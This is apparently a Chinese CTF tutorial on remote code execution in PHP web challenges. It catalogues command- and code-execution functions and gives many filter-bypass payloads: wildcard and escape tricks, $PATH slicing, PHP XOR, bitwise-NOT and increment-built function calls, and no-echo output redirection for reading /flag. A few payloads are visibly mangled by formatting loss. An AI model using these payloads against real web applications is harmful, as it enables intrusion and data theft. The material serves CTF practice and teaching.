CTF中的RCE

The Redefine Team Lv2

rce:远程代码执行

成因:在 Web 应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞;

# 系统命令执行函数

system ():能将字符串作为 OS 命令执行,且返回命令执行结果;

exec ():能将字符串作为 OS 命令执行,但是只返回执行结果的最后一行 (约等于无回显);

shell_exec ():能将字符串作为 OS 命令执行

passthru ():能将字符串作为 OS 命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;

popen ():打开进程文件指针

proc_open ():与 popen () 类似

pcntl_exec ():在当前进程空间执行指定程序;

反引号 :反引号 内的字符串会被解析为 OS 命令;

# 代码执行函数

PHP:eval (),assert (),preg_replace (),call_user_func (),call_user_func_array () 以及 array_map (),system, shell_exec, popen, passthru, proc_open 等。
Python:eval,exec,subprocess os.system commands.
Java:Java 里面没有类似于 php 中的 eval 函数可以直接将字符串转化为代码执行的函数。但是又反射机制,并且有各种基于反射机制的表达式引擎。ps:OGNL, SpEL, MVEL

这里详细说明一下 php,在 ctf 题目中最为常出现

eval ():将字符串作为 php 代码执行;

assert ():将字符串作为 php 代码执行;

preg_replace ():正则匹配替换字符串;

create_function ():主要创建匿名函数;

call_user_func ():回调函数,第一个参数为函数名,第二个参数为函数的参数;

call_user_func_array ():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;

可变函数:若变量后有括号,该变量会被当做函数名为变量值 (前提是该变量值是存在的函数名) 的函数执行;

# rce 绕过

最简单的就是直接遇到 flag 字样就卡住,这时可以利用 * 来查找

意思就是可以是任何字符 cat /flag.php ----->cat /f

这里就会找到 f 打头,后面随意的文件名

# 即正则匹配绕过

1
2
3
4
//如flag被过滤
cat /f???
cat /fl*
cat /f[a-z]{3}

# image-20241031205501710

image-20241031205632574

但在 ctf 中,有下面这样的理解即可

image-20241031205723564

image-20241031205816840

下面又是一大块内容

# 关键字绕过

# 空格绕过

image-20241031210010380

# 转义绕过

利用 \ ’ " 进行转义

cat flag —> ca\t fl\ag
cat flag —> ca"t flag
cat flag —> ca’t flag

# 特殊变量绕过

我们可以使用 Linux 中的一些特殊变量进行绕过

$* $@ $x ${X} // 这里的 x 代表任意值

1
2
3
4
ca$*t  flag.php
ca$@t flag.php
ca$xt flag.php
ca${X}t flag.php

这些都是 shell 的特殊变量,也是可以用来绕过的,这种类型可以用在过滤了 cat 这种命令或者其他关键字符串上面使用。

image-20241031210829705

1
2
3
4
shell -->  ls
-> flag
shell --> cat ?la*
->flag{ABsec}

下面是对这个骚操作的解释

1
2
3
4
5
6
7
8
9
10
11
shell --> cat ?la*
这个命令的目的是读取文件内容,其中使用了 cat 和通配符:

cat 是 Linux 中用于显示文件内容的命令。

?la* 是一个通配符,用来匹配文件名的模式。具体解释如下:

?:表示任意单个字符,所以这里的 ? 表示任何一个字符。
la:表示文件名中紧跟在通配符后的具体字符组合,即匹配名称中包含 la 的文件。
*:表示任意数量的字符(包括空字符),意味着文件名可以以 la 开头,后面可以跟任何字符。
因此,?la* 可以匹配一个以任意单字符开头,紧跟着 la,后面可以是任意字符的文件名。在当前环境中,它成功匹配到了文件 flag,因为 flag 满足 ?la* 的模式(即文件名前有一个字符 f,紧跟 la,且文件名之后无字符)。

image-20250228182734429

# Base64 编码绕过

这个可以用在一些命令被过滤的情况下使用,比如说我们的 ls 命令被过滤了,那我们可以将 ls 这个命令编码

1
2
3
4
echo 'ls' | base64
->bHMK
`echo 'bHMK' | base64 -d
-> flag.ph test.php ......

就是先把 ls 的内容 base64 加密后再解密输出出来,就是绕了一下加解密的过程来绕过

# 拼接法

这个的大概思路为,用两个参数来保存 flag 这个字符串的每个部分。大致如下

a=fl;b=ag;catIFSIFSa$b;

类似于这种。

过滤命令执行函数 (ノ*・ω・)ノ
内敛绕过
这个其实很简单,就是将反引号内的命令的输出作为输入执行。

payload:url?c=127.0.0.1;catIFSIFS! ls

会抓取 ls 返回的所有文件内容。

内敛绕过还有其他的写法,比如下面:

echo $(ls);

?><?=`ls1;

?><?=$(ls);

使用其他函数
还记得我们前面讲的取代函数吗?和这个的思路一样,如果我们的执行命令函数被过滤的花花,我们就需要更换函数了

我们除了 shell_exec () 还可以用以下几种

system()

passthru()

exec()

popen()

proc_open()

pcntl_exec()

highlight_file()

# 读取文件

这里我们这样玩,我们除了 cat 可以显示文本内容以外,在 CTF 中我们还可以使用一下几个姿势

1
2
3
4
5
6
7
8
9
curl file:///flag
strings flag
uniq -c flag
bash -v flag
rev flag
tac flag
//如果说我们遇到ls被过滤的话,我们也可以使用find
find
-?> . ./flag

# 字符串长度限制 (ノ*・ω・)ノ

这个挺有意思的,在 CTF 中,题目可能会限制你输入的长度,如果说我们要绕过他的话,我们可以只用上文中的一些思想,我们直接看 payload

1
2
3
4
5
6
7
8
9
10
11
cat flag
-> flag{ABsec}
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t
->ca\ , t \ , fl\ , ag , shell , flag
ls -t > shell
sh shell
->flag{ABsec}

首先是里面的一些命令

空格 \ : 这个其实是换行。
ls -t :按照时间将文本排序输出
ls -t > shell:将 ls -t 的输出储存到 shell 文件中
我们首先是用 touch 命令创建了几个文件,但是他们的文件名是我们的主要。我们使用两个 \ 的原因在于,第一个 \ 用于将后面的 \ 变成字符串,第二个 \ 是用来将后面的文本转换为字符串,以便用于后面的测试。

这样我们 shell 里面的样子应该是这样的:

1
2
3
cat shell
->cat
flag

因为 \ 就是用来换行的,不然他们连在一起也无法被解析。

# $PATH (ノ*・ω・)ノ

这个是利用环境变量来达到截取字母绕过的目的。

这里我们可以举一个例子:

1
2
3
4
5
6
7
8
echo $PATH
/opt/jdk-21/bin //假如是这样的
echo ${PATH:2:1}
->p
echo ${PATH:3:1}
->t
echo ${PATH:3:2}
->t/

Linux 中 ${PATH🅰️b} 我们可以理解为从 a 位开始截取,截取 b 个长度(/ 也算一位)

那我们对应这来的话就是这样的

/ o p t / j d k - 2 1 / b i n

0 1 2 3 4 5 6 7 8 9 10 11 12 13

比如说我们 echo $

那就表示,我们从 t 开始,往后截取两位数

输出: t/

但是这样可能也会出现一些没有的字母,但是我们需要那个字母的情况,这个时候我们可以自己取构造一个 PATH。

1
export PATH=$PATH:/abcdefghijklmn/opq/rst/uvw/xyz/0123456789

我们直接将全部的字母和数字都放到环境变量中,需要的时候我们就用上面的那个方法进行构造 payload。、

有的题会没有回显

# 取反绕过

1
2
3
4
5
6
7
8
9
10
11
12
//取反传参
<?php

$a = "system";
$b = "cat /flag";

$c = urlencode(~$a);
$d = urlencode(~$b);

//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>

# 异或绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 异或构造Python脚本
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "

answer = input('输入异或构造的字符串:')

tmp1, tmp2 = '', ''
for c in answer:
for i in valid:
for j in valid:
if ord(i) ^ ord(j) == ord(c):
tmp1 += i
tmp2 += j
break
else:
continue
break

print(f'"{tmp1}"^"{tmp2}"')
1
2
3
4
5
6
7
8
9
10
11
12
//异或php脚本

<?php
$a='phpinfo';
for ($i = 0;$i <strlen($a);$i++)
echo '%'.dechex(ord($a[$i])^0xff);
echo "^";
for ($j=0;$j<strlen($a);$j++)
echo '%ff';
?>

//输出:%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff
1
2
3
4
5
6
7
8
9
10
11
12
13
14
//简单例题,flag再phpinfo()中,需要执行php命令:phpinfo();

<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
die("invalid input!");
}
eval($mess);


//构造payload,字符串phpinfo异或结果为"0302181"^"@[@[_^^"

mess=$_="0302181"^"@[@[_^^";$_();

# 自增绕过

1
2
3
//自增payload,assert($_POST[_]),命令传入_

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();

# 黑名单绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//变量拼接,如flag被过滤
将:
cat /flag
替换为:
b=ag;cat /fl$b

//读取根目录
eval(var_dump(scandir('/'););
//读flag
eval(var_dump(file_get_contents($_POST['a'])););&a=/flag



//等效于打开ls目录下的文件
cat `ls`

//_被过滤,php8以下,变量名中的第一个非法字符[会被替换为下划线_
N[S.S等效于N_S.S
php需要接收e_v.a.l参数,给e[v.a.l传参即可

//php标签绕过
?><?= phpinfo(); ?>

image-20241031220300782

# 回溯绕过

1
2
3
//php正则的回溯次数大于1000000次时返回False
$a = 'hello world'+'h'*1000000
preg_match("/hello.*world/is",$a) == False

# 无回显 RCE

1
2
3
4
5
//无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
ls / | tee 1.txt
cat /flag | tee 2.txt
//eval()无输出
eval(print`c\at /flag`;)

参考文章

RCE 漏洞详解及绕过总结 (全面)-CSDN 博客

CTF 中的 RCE_rced 在 ctf 中是什么意思 - CSDN 博客

php 短标签,有三种方式:(用于 eval ("?>".$word); 这样的情况,用?> 闭合了前面的语句)

#前提是开启配置参数short_open_tags=on